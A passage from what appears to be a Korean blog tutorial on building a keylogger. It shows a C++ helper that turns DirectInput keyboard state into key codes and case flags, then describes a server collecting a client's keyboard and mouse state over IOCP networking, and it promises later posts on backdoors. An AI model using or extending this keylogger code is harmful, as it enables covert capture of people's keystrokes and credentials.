그래서 이 함수를 만들었습니다.
std::tuple<int, bool, bool> AsciiStringAssembly(const unsigned char* keyState, bool capsLock) {
int dik;
bool Upper, unClickedFlag;
unClickedFlag = true;
for (int i = 0; i < 256; ++i) {
if (keyState[i]) {
unClickedFlag = false;
dik = i;
if (capsLock) {
if ((keyState[DIK_LSHIFT] & 0x80) || (keyState[DIK_RSHIFT] & 0x80)) {
Upper = false;
}
else {
Upper = true;
}
}
else {
if ((keyState[DIK_LSHIFT] & 0x80) || (keyState[DIK_RSHIFT] & 0x80)) {
Upper = true;
}
else {
Upper = false;
}
}
break;
}
}
return std::make_tuple(dik, Upper, unClickedFlag);
}
}
이 함수는 우리가 클라이언트로부터 받아온 키보드의 상태와 CapsLock의 Toggle여부에따라 DirectInput의 키 매크로, 소대문자여부, 클릭여부를 반환합니다.
이제 실습이 모두 끝났습니다.
실제 실행을 통해 정상적으로 작동하는지 확인하겠습니다.
🚯 주의사항 🚯
같은PC에서 여러개의 같은 Loopback주소를 입력한 클라이언트를 동시에 접속하면안됩니다.
그 이유는 DirectInput과 관련이 있습니다.
저희는 이번에 DirectInput8을 사용하여 하드웨어의 메모리에 접근하여 직접적으로 키와 마우스의 상태를 읽었습니다.
만약 여러개의 클라이언트가 동시에 같은 장치의 메모리를 참조한다면, 실패하게됩니다.
🔥 테스트
이제 해당 프로젝트를 컴파일시키면 다음과같이 2개의 파일을 컴파일 받을 수 있습니다.
이제 Server.exe먼저 실행시킨뒤, Client.exe를 실행시켜보겠습니다.
와우!
성공적으로 서버에서 클라이언트의 키보드, 마우스의 상태를 가져올 수 있습니다!
🔥 마치며...
이번에는 DirectInput과 IOCP의 Overlapped 네트워크모델을 이용하여 엄청난속도의 세련된 키로거를 만들어보았습니다.
사실 파일로 저장하는것까지 만들고싶었으나, 귀차니즘이 도래했기때문에 그냥 그만뒀습니다..
다음에는 서버파일의 생성과 백도어에 관한 유익한내용과 함께 포스팅으로 돌아오겠습니다.
'🪓해킹 > 해킹툴 개발강좌' 카테고리의 다른 글
해킹도구 개발 | 리버스 쉘(Reverse shell) 이론및 개발실습 (3) | 2021.10.19 |
---|
댓글